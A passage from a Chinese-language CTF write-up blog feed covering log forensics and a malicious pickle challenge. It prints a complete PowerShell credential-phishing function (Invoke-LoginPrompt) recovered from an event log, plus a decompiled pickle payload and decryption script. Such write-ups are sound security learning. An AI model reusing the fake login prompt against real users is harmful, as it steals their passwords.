punctuation">)</span><span class="token punctuation">:</span>            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"EML:"</span><span class="token punctuation">,</span> eml<span class="token punctuation">)</span>            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"PDF:"</span><span class="token punctuation">,</span> fn<span class="token punctuation">)</span>            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"ID :"</span><span class="token punctuation">,</span> subject_id<span class="token punctuation">)</span>            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"\nFLAG = grodno&#123;&#123;</span><span class="token interpolation"><span class="token punctuation">&#123;</span>fn<span class="token punctuation">&#125;</span></span><span class="token string">_</span><span class="token interpolation"><span class="token punctuation">&#123;</span>subject_id<span class="token punctuation">&#125;</span></span><span class="token string">&#125;&#125;"</span></span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>輸出如下：</p><pre class="line-numbers language-none"><code class="language-none">EML: emails\sample-717.emlPDF: Vl6s3kCIKaUvwaUAeY.pdfID : 6ZFYeMmltsoFLAG &#x3D; grodno&#123;Vl6s3kCIKaUvwaUAeY.pdf_6ZFYeMmltso&#125;<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="prompt-and-pretext" tabindex="-1" id="Prompt-And-Pretext">Prompt And Pretext</h2><p><img src="2026-07-14-20-32-57.png" alt="Prompt And Pretext"></p><p>題目給的是這個 <a href="https://github.com/sbousseaden/evtx-attack-samples">sbousseaden/EVTX-ATTACK-SAMPLES: Windows Events Attack Samples</a></p><p>看這篇 <a href="https://feifei.tw/windows-event-log-auditing-guide/">[技術解析] 005 學習 Windows 事件日誌（Windows Event log ） - 飛飛</a> 中的<strong>PowerShell 日誌監控</strong>部分嚴肅學習。可以知到 Event ID 4104 (Script Block Logging)：即使攻擊者使用了混淆技術（Obfuscation），Windows 也會先解密再記錄，因此能看到實際執行的指令。<br>所以我們首要之務就是去找這類的日誌。</p><blockquote><p>笑死，搞指令工具搞半天，發現 Excel 才是王道！</p></blockquote><p>直接用 Excel 打開 <code>evtx_data.csv</code>，建立篩選器找出 Event ID <code>4104</code> 的紀錄，只有兩個，可以在其中一個的 <code>ScriptBlockText</code> 欄位找到：</p><pre class="line-numbers language-powershell" data-language="powershell"><code class="language-powershell"><span class="token keyword">function</span> <span class="token function">Invoke-LoginPrompt</span><span class="token punctuation">&#123;</span><span class="token variable">$cred</span> = <span class="token variable">$Host</span><span class="token punctuation">.</span>ui<span class="token punctuation">.</span>PromptForCredential<span class="token punctuation">(</span><span class="token string">"Windows Security"</span><span class="token punctuation">,</span> <span class="token string">"Please enter user credentials"</span><span class="token punctuation">,</span> <span class="token string">"<span class="token variable">$env</span>:userdomain\<span class="token variable">$env</span>:username"</span><span class="token punctuation">,</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token variable">$username</span> = <span class="token string">"<span class="token variable">$env</span>:username"</span><span class="token variable">$domain</span> = <span class="token string">"<span class="token variable">$env</span>:userdomain"</span><span class="token variable">$full</span> = <span class="token string">"<span class="token variable">$domain</span>"</span> <span class="token operator">+</span> <span class="token string">"\"</span> <span class="token operator">+</span> <span class="token string">"<span class="token variable">$username</span>"</span><span class="token variable">$password</span> = <span class="token variable">$cred</span><span class="token punctuation">.</span>GetNetworkCredential<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>password<span class="token function">Add-Type</span> <span class="token operator">-</span>assemblyname System<span class="token punctuation">.</span>DirectoryServices<span class="token punctuation">.</span>AccountManagement<span class="token variable">$DS</span> = <span class="token function">New-Object</span> System<span class="token punctuation">.</span>DirectoryServices<span class="token punctuation">.</span>AccountManagement<span class="token punctuation">.</span>PrincipalContext<span class="token punctuation">(</span><span class="token namespace">[System.DirectoryServices.AccountManagement.ContextType]</span>::Machine<span class="token punctuation">)</span><span class="token keyword">while</span><span class="token punctuation">(</span><span class="token variable">$DS</span><span class="token punctuation">.</span>ValidateCredentials<span class="token punctuation">(</span><span class="token string">"<span class="token variable">$full</span>"</span><span class="token punctuation">,</span><span class="token string">"<span class="token variable">$password</span>"</span><span class="token punctuation">)</span> <span class="token operator">-ne</span> <span class="token boolean">$True</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token variable">$cred</span> = <span class="token variable">$Host</span><span class="token punctuation">.</span>ui<span class="token punctuation">.</span>PromptForCredential<span class="token punctuation">(</span><span class="token string">"Windows Security"</span><span class="token punctuation">,</span> <span class="token string">"Invalid Credentials, Please try again"</span><span class="token punctuation">,</span> <span class="token string">"<span class="token variable">$env</span>:userdomain\<span class="token variable">$env</span>:username"</span><span class="token punctuation">,</span><span class="token string">""</span><span class="token punctuation">)</span>    <span class="token variable">$username</span> = <span class="token string">"<span class="token variable">$env</span>:username"</span>    <span class="token variable">$domain</span> = <span class="token string">"<span class="token variable">$env</span>:userdomain"</span>    <span class="token variable">$full</span> = <span class="token string">"<span class="token variable">$domain</span>"</span> <span class="token operator">+</span> <span class="token string">"\"</span> <span class="token operator">+</span> <span class="token string">"<span class="token variable">$username</span>"</span>    <span class="token variable">$password</span> = <span class="token variable">$cred</span><span class="token punctuation">.</span>GetNetworkCredential<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>password    <span class="token function">Add-Type</span> <span class="token operator">-</span>assemblyname System<span class="token punctuation">.</span>DirectoryServices<span class="token punctuation">.</span>AccountManagement    <span class="token variable">$DS</span> = <span class="token function">New-Object</span> System<span class="token punctuation">.</span>DirectoryServices<span class="token punctuation">.</span>AccountManagement<span class="token punctuation">.</span>PrincipalContext<span class="token punctuation">(</span><span class="token namespace">[System.DirectoryServices.AccountManagement.ContextType]</span>::Machine<span class="token punctuation">)</span>    <span class="token variable">$DS</span><span class="token punctuation">.</span>ValidateCredentials<span class="token punctuation">(</span><span class="token string">"<span class="token variable">$full</span>"</span><span class="token punctuation">,</span> <span class="token string">"<span class="token variable">$password</span>"</span><span class="token punctuation">)</span> <span class="token punctuation">|</span> <span class="token function">out-null</span>    <span class="token punctuation">&#125;</span> <span class="token variable">$output</span> = <span class="token variable">$newcred</span> = <span class="token variable">$cred</span><span class="token punctuation">.</span>GetNetworkCredential<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">|</span> <span class="token function">select-object</span> UserName<span class="token punctuation">,</span> Domain<span class="token punctuation">,</span> Password <span class="token variable">$output</span> R<span class="token punctuation">&#123;</span>START_PROCESS<span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token function">Invoke-LoginPrompt</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>所以 Flag 為 <code>grodno{Invoke-LoginPrompt_R{START_PROCESS}}</code>。</p><h1 id="ai" tabindex="-1">AI</h1><h2 id="pickles" tabindex="-1" id="Pickles">Pickles</h2><p><img src="2026-07-20-15-29-34.png" alt="Pickles"></p><p>題目給了一個 <code>payload.pyc</code> 一個 <code>model.pkl</code><br>用 <a href="https://pylingual.io">PyLingual</a> 反編譯 pyc 檔得到</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token comment"># Decompiled with PyLingual (https://pylingual.io)</span><span class="token comment"># Internal filename: '/home/atlas/Code/thm/tasks/pickle-receipt/author/payload.py'</span><span class="token comment"># Bytecode version: 3.10.b1 (3439)</span><span class="token comment"># Source timestamp: 2026-07-10 14:39:33 UTC (1783694373)</span><span class="token triple-quoted-string string">"""Code that the compromised model executes while being unpickled."""</span><span class="token keyword">from</span> __future__ <span class="token keyword">import</span> annotations<span class="token keyword">import</span> base64<span class="token keyword">import</span> hashlib_WORDS <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token string">b'snow'</span><span class="token punctuation">,</span> <span class="token string">b'candle'</span><span class="token punctuation">,</span> <span class="token string">b'tangerine'</span><span class="token punctuation">,</span> <span class="token string">b'clock'</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">_stream</span><span class="token punctuation">(</span>key<span class="token punctuation">:</span> <span class="token builtin">bytes</span><span class="token punctuation">,</span> size<span class="token punctuation">:</span> <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">></span> <span class="token builtin">bytes</span><span class="token punctuation">:</span>    out <span class="token operator">=</span> <span class="token builtin">bytearray</span><span class="token punctuation">(</span><span class="token punctuation">)</span>    counter <span class="token operator">=</span> <span class="token number">0</span>    <span class="token keyword">while</span> <span class="token builtin">len</span><span class="token punctuation">(</span>out<span class="token punctuation">)</span> <span class="token operator">&lt;</span> size<span class="token punctuation">:</span>        out<span class="token punctuation">.</span>extend<span class="token punctuation">(</span>hashlib<span class="token punctuation">.</span>blake2s<span class="token punctuation">(</span>key <span class="token operator">+</span> counter<span class="token punctuation">.</span>to_bytes<span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token string">'little'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span>digest<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        counter <span class="token operator">+=</span> <span class="token number">1</span>    <span class="token keyword">return</span> <span class="token builtin">bytes</span><span class="token punctuation">(</span>out<span class="token punctuation">[</span><span class="token punctuation">:</span>size<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token keyword">class</span> <span class="token class-name">LedgerModel</span><span class="token punctuation">:</span>    <span class="token keyword">def</span> <span class="token function">__init__</span><span class="token punctuation">(</span>self<span class="token punctuation">,</span> cipher<span class="token punctuation">:</span> <span class="token builtin">bytes</span><span class="token punctuation">,</span> weights<span class="token punctuation">:</span> <span class="token builtin">bytes</span><span class="token punctuation">,</span> seal<span class="token punctuation">:</span> <span class="token builtin">bytes</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        self<span class="token punctuation">.</span>cipher <span class="token operator">=</span> cipher        self<span class="token punctuation">.</span>weights <span class="token operator">=</span> weights        self<span class="token punctuation">.</span>seal <span class="token operator">=</span> seal    <span class="token keyword">def</span> <span class="token function">infer</span><span class="token punctuation">(</span>self<span class="token punctuation">,</span> text<span class="token punctuation">:</span> <span class="token builtin">str</span><span class="token punctuation">,</span> history<span class="token punctuation">:</span> <span class="token builtin">list</span><span class="token punctuation">[</span><span class="token builtin">str</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">></span> <span class="token builtin">dict</span><span class="token punctuation">[</span><span class="token builtin">str</span><span class="token punctuation">,</span> <span class="token builtin">object</span><span class="token punctuation">]</span><span class="token punctuation">:</span>        score <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token builtin">sum</span><span class="token punctuation">(</span>text<span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">+</span> self<span class="token punctuation">.</span>weights<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">%</span> <span class="token number">101</span>        sequence <span class="token operator">=</span> <span class="token string">b'|'</span><span class="token punctuation">.</span>join<span class="token punctuation">(</span><span class="token punctuation">(</span>x<span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token keyword">for</span> x <span class="token keyword">in</span> history<span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">:</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">if</span> hashlib<span class="token punctuation">.</span>sha256<span class="token punctuation">(</span>sequence<span class="token punctuation">)</span><span class="token punctuation">.</span>digest<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">!=</span> self<span class="token punctuation">.</span>seal<span class="token punctuation">:</span>            <span class="token keyword">return</span> <span class="token punctuation">&#123;</span><span class="token string">'score'</span><span class="token punctuation">:</span> score<span class="token punctuation">,</span> <span class="token string">'label'</span><span class="token punctuation">:</span> <span class="token string">'invoice'</span> <span class="token keyword">if</span> score <span class="token operator">></span> <span class="token number">50</span> <span class="token keyword">else</span> <span class="token string">'receipt'</span><span class="token punctuation">&#125;</span>        <span class="token keyword">else</span><span class="token punctuation">:</span>            key <span class="token operator">=</span> hashlib<span class="token punctuation">.</span>blake2s<span class="token punctuation">(</span>self<span class="token punctuation">.</span>weights <span class="token operator">+</span> sequence <span class="token operator">+</span> <span class="token string">b'inference-cache'</span><span class="token punctuation">)</span><span class="token punctuation">.</span>digest<span class="token punctuation">(</span><span class="token punctuation">)</span>            plain <span class="token operator">=</span> <span class="token builtin">bytes</span><span class="token punctuation">(</span><span class="token punctuation">(</span>a <span class="token operator">^</span> b <span class="token keyword">for</span> a<span class="token punctuation">,</span> b <span class="token keyword">in</span> <span class="token builtin">zip</span><span class="token punctuation">(</span>self<span class="token punctuation">.</span>cipher<span class="token punctuation">,</span> _stream<span class="token punctuation">(</span>key<span class="token punctuation">,</span> <span class="token builtin">len</span><span class="token punctuation">(</span>self<span class="token punctuation">.</span>cipher<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span>            <span class="token keyword">return</span> <span class="token punctuation">&#123;</span><span class="token string">'score'</span><span class="token punctuation">:</span> score<span class="token punctuation">,</span> <span class="token string">'label'</span><span class="token punctuation">:</span> <span class="token string">'receipt'</span><span class="token punctuation">,</span> <span class="token string">'ticket'</span><span class="token punctuation">:</span> base64<span class="token punctuation">.</span>b85encode<span class="token punctuation">(</span>plain<span class="token punctuation">)</span><span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token keyword">def</span> <span class="token function">install_supply_chain_probe</span><span class="token punctuation">(</span>cipher<span class="token punctuation">:</span> <span class="token builtin">bytes</span><span class="token punctuation">,</span> weights<span class="token punctuation">:</span> <span class="token builtin">bytes</span><span class="token punctuation">,</span> seal<span class="token punctuation">:</span> <span class="token builtin">bytes</span><span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">></span> LedgerModel<span class="token punctuation">:</span>    <span class="token triple-quoted-string string">"""This is reached by REDUCE during pickle.load()."""</span>    <span class="token keyword">return</span> LedgerModel<span class="token punctuation">(</span>cipher<span class="token punctuation">,</span> weights<span class="token punctuation">,</span> seal<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>為了安全考量，我們手動解密，而非直接執行它原本的<br>使用 Fickling 反編譯 pickle 檔案中的程式</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">fickling model.pkl<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>得到</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> payload <span class="token keyword">import</span> install_supply_chain_probe_var0 <span class="token operator">=</span> install_supply_chain_probe<span class="token punctuation">(</span><span class="token string">b'\xbf\x1d\xa5\xef7\xf6Ff\x037:L\xb8\xebK&amp;\xf1\xfd\xed\x04\x8a\x00T\x0ff\x89rm'</span><span class="token punctuation">,</span> <span class="token string">b'\x1c\xeb\x85g\n\x052\xcbE>\xba+\xd0\x96H\xbfg\xe1\x0f\xec\x0c\x92\x06~\xa1\xbf L\xfd\x841\xec\xdc\xdeV\xb5_\xcb\xb7B\x9ba[|\xc7\x8f+\xdf\x14\xbb\xe2\xce\x1e\x92\x13\xdf\xeb\xd7\xdd\x14\x0e\xe9\x7f\xf4\xe7\x90\x1b\xf5C)\x17u8\x03\xda\x9d\x1fI\xb8\xb1>XL\x95s\xd0\x1e3\xd8\xa8\xfah\x87\xd2\xac\xc5i\x9f\xae\x1e*\xaa\x81\xb0\xef\xa6\xf7\xad\xe0\x1b\xfb7\xa3B\xd30\x19B\x1d\x83\xed\xc2\xf8r\x8dSu\xa1=\xf3\xfcb2\xccG\xcf\xa7\x06\xcf\xb0;\xff^G\xd6|Y f0#\x8e\x9f\xe5KK\xd1E\xb0\xd8~s\x05w\x1ab\xaa\x8d\x13\x17%\x8f\xafN\x9b\x8c\xd2\xc4\x99~\xf0M\xdcC\xd55B\xd3i\x13\x90j\x05\xf1`\xfc\xf6u\xdaN\x84\xf6\x1ae\xc5Ya\xa3\xfb\xf6M21\x0f1\x9a\x84V^\x10\x1c>\xa2X\x14\x04\xd2\x9d%\xb4\x87$\x95dj\xeayb\x9e\xfcEb\xc2\xe2\xd9\xb0\xe4\xf3\xad\x17\xcd\\\xce\x02\xdf\xb6_\x12\xfcEt64R\xd3\xb4\x95\xd4_\x13\xcb\x8b\xa3\xec\xb7[\xd1\xfc\x04\xe9][\xe0&amp;\xcar\xab\xeb%d\xb2\xc3kE\x85\x04\xf47\xb4\xd40\xe5BE?V\xe5\xa1\x97\xbe\xa4\x84\xea\xb8\x86\xc2\xa8\x8da\x8a_\xf6.\xe5\xb5\xdf\xf9\x08n\xefD\nN\x1dm\xc7\xd3\xbb\x01\xd4\xc0#\xf1&#123;\xc0\x86\xf9^r\xa6s.^\x0b\x17I\x06\xc4\x9b\xa9\xe2\xcfy@X\xdc\xc7\x90\xa0\x11\xd5b\xb7\xe8j\x89\x9e\xd5u\xe4\x11\xac\xef+\xf9\xbe\x9a\x9do\x96\x8a\xcd\xe8\x9d[&lt;\xf2\xf6\x98\xe7\xde\x05Mdg\xb3\xfd\x91\xd8\x07\xe0Q%\xa6\x1fp\xf2\xc43\xf8\x8d&amp;\x98aC_\xaa\xc9A\xff\xcc&amp;\xa1\x8d\x89\xa5P$\xe3^!q\xa8h[oK\xd1\xbbx\xe0\xd2ZY(\x96t\xd1\xc5\xc0\x19xv\xce\x98\xfakZs\x9d\xe5r\xbb\xb1\xff\xb0\xa5\x8b\xbag@P\x8b@!\x08/\r"\xdb&#123;\xea\xdc\xc4\xbf9\xd8\xb3H\xae\xf1\xa4D\xdb\x8c\xfeo\n\x96kz\xf4*\xb2W\xda\x90f\x18\x95r\xdd\x17\\DK\x1d\xd6\xf9]\xcc *\xf6h\xb7.n\x11\x19nv\xffKka \x7f\xa6I\x9d\xd3\x8a\xbb\xe0\xa4\xd6K\xc3\x1d\x1d8\xfd\x001!\xa8\xe8\x17O\x98U8\xdb\x96\xd4_\x8f\xba\xcf\xb1\x1d\xa1\x99\xc2\xbe\xbcn\xdc\xef\xb8\x87\xd9\x8clk\xe4\x87\xbca\xc8\xa1\x8d\xb1\xef\xf5\xb8+&#123;\xd1\x06\x10\xa1\xe7\xec\xd3(5O\xb5r+\x0e\xf7\xb3"\xc2\xf0\xe8\x845\xd2\xb1\x01\x8c\x08\x0f\x1bOq\x80\x93\xa0$\x15\xb13\xf36\xefv\xc0=\x87\x19\xf1\xdbp~\xaf\xb8\xaat\xb6gC\xf2:\xfa=Z\xa2\x89%\xf5\x86\xb26\x0c\xf1ya\x87(x\xacQ\tw-(xf6_zz\xd9\xb7\x03\x81\x1ap\xd2NC\xf66&lt;d\xdf\xf7\x01\xf9t\x10\xfe\x9b\x92\x15\\-w\xee&amp;E\x0c\x1b\xc3  \x0c\x8e(.\x05\xcb\x1d>\x821\xa1g\xa5Ff4\xe4\x0c\x03\xe2\x89uh\xf96\xac\x95gL\xba\x0f\x01\x99~\xc3O\x03&#125;(ou\tI\'\x12\xabK\xb7\xa9\xa1\xb8GlGhf\xbb\xd9m)\x9a\n=\xcd\xf1SE\x8f\xb2c\xbf\xcc=k\xff\xd5\x96^\xfc\xce\xa9&lt;_\xf1\x00\x06\xc8\xc3\xea\x04\x1f&#125;\xdd:\xf8\xd7\xff\xd3,/+\xb9\xed\xadD\x16\xc1C\xc6!\xe4\x01FD\xd4\xb7d\x89!\xaaP\xce\xfd\xfa\xaeHb\x8b\x19\xb2vB\x1bMG\xc9;\r6Fj.%\xd5\x9as\xe7\xd0\x17\xbf\xa7\xd7\xb7S\xb5Y\xa1y\xf9\xe1\xf0\x1c\xa6\xc6\xc2 \xb5@\xb0\x8d\xd6\x86\xb6K\xcd\x94\xdf\x9d\x81l\x93CE\xc0Rd2\xb2Cs\x18\x94\xa0\xb1\x07\xfb\x07\x0bmup\xba\x82\x85\x05ME\xee&amp;q6+3\x1f0\xbc"!1\x8e\xa6\xe2\t\xe9[\x89\xbfQ8\x86^3\xf8\xe0-\xcbP\xd0jl7\xa9 =9\x7f\x0c\x9c@?\xb5oMf\xa7\xf9\xae\xfd&lt;\xd6\xf0\xf9\xef+\x81G\xd6W\xd8\x12"\xc5\xd9V\xb5\xe4\xe0\xb5QW\xd1;\xdf\xfa\x14$\xa4\x8em9\xc5\xaf&#123;@q\xf0p\x85\xae\xe3\xf2\xf4\xc3\x01\xf1\x9f&#125;\xc7\x9eY6\x9f\xc6,\xa1\x01\xb9U\xac\xfd\x02\x08\r&lt;\xfa\xf6K\xb2\xd0\xfe\x1dw\x9d\xf4U\xc0W\x8b\x83\x8fvD\xce4\xf9t\xffJ\xcc\xb5\xe2\x95\x8d\xd3^\x9f\xbd7n\xa3baJ\xf7r\xec\x98\xd5\xd3\xf1\x04C\xd9\xc1\x04\xa5\xf20\xc8\x9c\xde\xfcy/\xfe\xee\x15[\xf7s\xd5\xef8i\xce\n^\xb8LR-\xeb\x98\x90t@\xa8\xcfZ`7T\xb7~1*)^\x9a\xddig\xc3\xd9\xbfl\x14\xe2\xa3d\xb1\xb0\x02k\xb8kV\x04\xed\xbf\x16U>\xba\x15\xae\x0b\xb6\xff\xf9v\xa4\xd5\xe3G\xc5\xc2=*\x01x\xffL@\xb3\x8fx\xff&amp;ec\xe8\x1c0\xba\x0f\x1d\x14|\xde\xe2`\xfa\xb3\x88h\xb9\xe7\xa6\x83p\x07;\xf3\x0f!&amp;e\x8e\xc0|Q"\xd3d\xc4\xe4\xc9\xab\xb2;\x1e\xcb\xc8k\n\xec\xfe^\xb1,\xf67\xbeh5\xbc\xd9\x82hd\xc9-k\x1b\xf9\xc5\xdd\t\x92K?"\xad\xc7\xd5m\x11\xa1\xdey;\xd2\xc1\xc2\xb5Z\x92,\xd2\xc3\x97@\xff\xf2\x1b\x1c\xce)^\xf8\xda\xd5\x9fod\xef\xb6\xe2\xe4\x9c\x12\xcd%K\x1fF\xb15\xc9\xcb6\xf7\x82\xd6\xc8\xe2J\xaf\xf8\x9a\x97\xbb\x11\xc1?\x9c\xf9\xc3\xf9oK\xa0*\x9b~U\x8b\x9c\x1c\x12\xd7\xf7\xb1\xb4l\xd2\x19Z\xc0b\n\x03\xadEaV\xfe3=f\'\\\x14\x96\xabJ\x90\r\x8c\x14\x16\xfeq\xa52B\xa6>\x9f\x16ib\x83r\x90\x0b\x08\xf2\xf90\x828\x0c\xe8r\xe8\x8eV\x83\xe9EP&amp;\r\\r\xb1\x90w\xc6\'+\x8f\xb9\xcf\x02\xe2\x84d\xb7\xa6\xf5\xc5\xde:\x1d)/\xc9\x91\xc7\x1fY\xe4k\xd6\xb5f&#125;\xd6Y;L$\xc1\xbc]\xe3\x0c\x91\x14&amp;g\x99d\xa3\x96\xcfY\x07y\x9f\x1b"MW\xcb\xdf\xf6mM\xc3s\x19\xd2\x84m\xdb\xe6s\x16\x1a\xb1\xe7|t=\x87\x0b\x19\xf7\x89d\x1d\xb8\xea\x8f\xce\xd7kyZ\xde\x02\x04\x9a\xab&#123;\xc0\xd1\xe8\xfe5\xed]&amp;+\xcf\xd5h\xd8\xf7\xcdn'</span><span class="token punctuation">,</span> <span class="token string">b'\x0b8\x07\xaa\xb7\xae\x8e\x1f\x98H\xe31\xdd\xbf9\xa7jB\x8b\xc6\x19\xef\xf2&lt;0\x8d\x93U\xd7\xb0V\x01'</span><span class="token punctuation">)</span>result0 <span class="token operator">=</span> _var0<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>從而得到 <code>cipher</code>、<code>weights</code>、<code>seal</code>。而從 <code>sequence</code> 的計算公式可發現要解密亦依賴於 <code>history</code> 的最近四筆資料。再看一看 <code>payload</code> 發現定義了一個 <code>_WORD</code>，大膽猜測他就是那四筆資料，所以直接把他解密邏輯搬過來：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> hashlibcipher<span class="token punctuation">,</span> weights<span class="token punctuation">,</span> seal <span class="token operator">=</span> <span class="token comment"># 略，把上面從 model.pkl 反編譯出來的參數複製過來即可</span>_WORDS <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token string">b'snow'</span><span class="token punctuation">,</span> <span class="token string">b'candle'</span><span class="token punctuation">,</span> <span class="token string">b'tangerine'</span><span class="token punctuation">,</span> <span class="token string">b'clock'</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">_stream</span><span class="token punctuation">(</span>key<span class="token punctuation">:</span> <span class="token builtin">bytes</span><span class="token punctuation">,</span> size<span class="token punctuation">:</span> <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">></span> <span class="token builtin">bytes</span><span class="token punctuation">:</span>    out <span class="token operator">=</span> <span class="token builtin">bytearray</span><span class="token punctuation">(</span><span class="token punctuation">)</span>    counter <span class="token operator">=</span> <span class="token number">0</span>    <span class="token keyword">while</span> <span class="token builtin">len</span><span class="token punctuation">(</span>out<span class="token punctuation">)</span> <span class="token operator">&lt;</span> size<span class="token punctuation">:</span>        out<span class="token punctuation">.</span>extend<span class="token punctuation">(</span>hashlib<span class="token punctuation">.</span>blake2s<span class="token punctuation">(</span>key <span class="token operator">+</span> counter<span class="token punctuation">.</span>to_bytes<span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token string">'little'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span>digest<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        counter <span class="token operator">+=</span> <span class="token number">1</span>    <span class="token keyword">return</span> <span class="token builtin">bytes</span><span class="token punctuation">(</span>out<span class="token punctuation">[</span><span class="token punctuation">:</span>size<span class="token punctuation">]</span><span class="token punctuation">)</span>sequence <span class="token operator">=</span> <span class="token string">b'|'</span><span class="token punctuation">.</span>join<span class="token punctuation">(</span>_WORDS<span class="token punctuation">)</span><span class="token keyword">if</span> hashlib<span class="token punctuation">.</span>sha256<span class="token punctuation">(</span>sequence<span class="token punctuation">)</span><span class="token punctuation">.</span>digest<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">==</span> seal<span class="token punctuation">:</span>    key <span class="token operator">=</span> hashlib<span class="token punctuation">.</span>blake2s<span class="token punctuation">(</span>weights <span class="token operator">+</span> sequence <span class="token operator">+</span> <span class="token string">b'inference-cache'</span><span class="token punctuation">)</span><span class="token punctuation">.</span>digest<span class="token punctuation">(</span><span class="token punctuation">)</span>    plain <span class="token operator">=</span> <span class="token builtin">bytes</span><span class="token punctuation">(</span><span class="token punctuation">(</span>a <span class="token operator">^</span> b <span class="token keyword">for</span> a<span class="token punctuation">,</span> b <span class="token keyword">in</span> <span class="token builtin">zip</span><span class="token punctuation">(</span>cipher<span class="token punctuation">,</span> _stream<span class="token punctuation">(</span>key<span class="token punctuation">,</span> <span class="token builtin">len</span><span class="token punctuation">(</span>cipher<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token keyword">print</span><span class="token punctuation">(</span>plain<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>即可得到 Flag：<code>grodno{p@ckl$s_are_so_yUmmy}</code></p>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/07/20/Junior-Crypt-2026-CTF-Writeup/</id>
    <link href="https://r3xdj.pages.dev/2026/07/20/Junior-Crypt-2026-CTF-Writeup/"/>
    <published>2026-07-20T10:03:33.000Z</published>
    <summary>
      <![CDATA[<h1 id="%E5%89%8D%E8%A8%80" tabindex="-1">前言</h1>
<p>我們戰隊組了三隊去玩：<code>RCEs</code>、<code>RCEs-2</code>、<code>owo</code> (因為一隊上限 3 人)，結果 <code]]>
    </summary>
    <title>Junior.Crypt.2026 CTF Writeup</title>
    <updated>2026-07-20T10:03:33.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="Quantum Computing" scheme="https://r3xdj.pages.dev/categories/Quantum-Computing/"/>
    <category term="quantum" scheme="https://r3xdj.pages.dev/tags/quantum/"/>
    <category term="qiskit" scheme="https://r3xdj.pages.dev/tags/qiskit/"/>
    <category term="quantum mechanics" scheme="https://r3xdj.pages.dev/tags/quantum-mechanics/"/>
    <category term="quantum algorithms" scheme="https://r3xdj.pages.dev/tags/quantum-algorithms/"/>
    <category term="quantum communication" scheme="https://r3xdj.pages.dev/tags/quantum-communication/"/>
    <category term="IBM Quantum" scheme="https://r3xdj.pages.dev/tags/IBM-Quantum/"/>
    <content>
